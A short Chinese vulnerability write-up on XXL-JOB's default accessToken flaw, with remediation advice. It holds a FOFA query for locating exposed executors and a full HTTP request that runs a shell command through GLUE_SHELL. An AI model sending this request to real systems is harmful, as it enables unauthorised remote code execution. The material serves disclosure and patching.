目录
一.漏洞描述
XXL-JOB是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。
该漏洞是由于XXL-JOB 在默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值,如果用户没有修改该默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,导致远程代码执行。
二.漏洞影响版本
2.31<XXL-JOB <= 2.4.0
XXL-JOB之前版本accessToken的值都为空,2.3.1后才出现默认值,如下:
三.网络空间测绘查询
fofa:
"invalid request, HttpMethod not support" && port="9999"
四.漏洞复现
验证成功
succeeded情况如下:
POST /run HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host:http://x.x.x.x:9999/
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default token
Upgrade-Insecure-Requests: 1
Content-Length: 353
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "SERIAL_EXECUTION",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586373637819,
"glueType": "GLUE_SHELL",
"glueSource": "ping xxxxxxx pwd",
"glueUpdatetime": 1586693836766,
"broadcastIndex": 0,
"broadcastTotal": 0
}
响应包:
HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 12
{"code":200}
验证成功且存在 xxl-job组件access-token身份绕过-远程代码执行
五.修复建议
使用accessToken时设置强accessToken或随机accessToken 。
临时修复方案: 使用防护类设备对相关资产进行防护; 避免将 XXL-JOB 的执行器暴露在互联网。
也可以尝试去搭建环境复现
链接:https://pan.baidu.com/s/12AkZ6JdpOm36bHrq1EEVPQ
提取码:8899